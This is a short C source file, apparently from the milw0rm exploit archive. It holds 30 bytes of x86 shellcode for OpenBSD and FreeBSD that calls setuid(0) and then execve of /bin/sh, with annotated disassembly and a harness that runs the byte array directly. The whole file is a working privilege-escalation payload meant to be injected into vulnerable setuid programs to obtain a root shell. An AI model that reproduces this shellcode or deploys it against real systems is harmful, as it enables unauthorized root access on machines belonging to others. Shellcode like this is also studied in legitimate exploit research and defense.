/*
* $Id: setuid-bsd.c,v 1.6 2004/06/02 12:22:30 raptor Exp $
*
* setuid-bsd.c - setuid/execve shellcode for *BSD/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Short setuid(0) and /bin/sh execve() shellcode (based on esdee's code).
*
* Tested on OpenBSD and FreeBSD.
*/
/*
* setuid(0)
*
* 20c8: 31 c0 xor %eax,%eax
* 20ca: 50 push %eax
* 20cb: 50 push %eax
* 20cc: b0 17 mov $0x17,%al
* 20ce: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 20d0: 31 c0 xor %eax,%eax
* 20d2: 50 push %eax
* 20d3: 68 2f 2f 73 68 push $0x68732f2f
* 20d8: 68 2f 62 69 6e push $0x6e69622f
* 20dd: 89 e3 mov %esp,%ebx
* 20df: 50 push %eax
* 20e0: 54 push %esp
* 20e1: 53 push %ebx
* 20e2: 50 push %eax
* 20e3: b0 3b mov $0x3b,%al
* 20e5: cd 80 int $0x80
*/
char sc[] = /* 7 + 23 = 30 bytes */
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
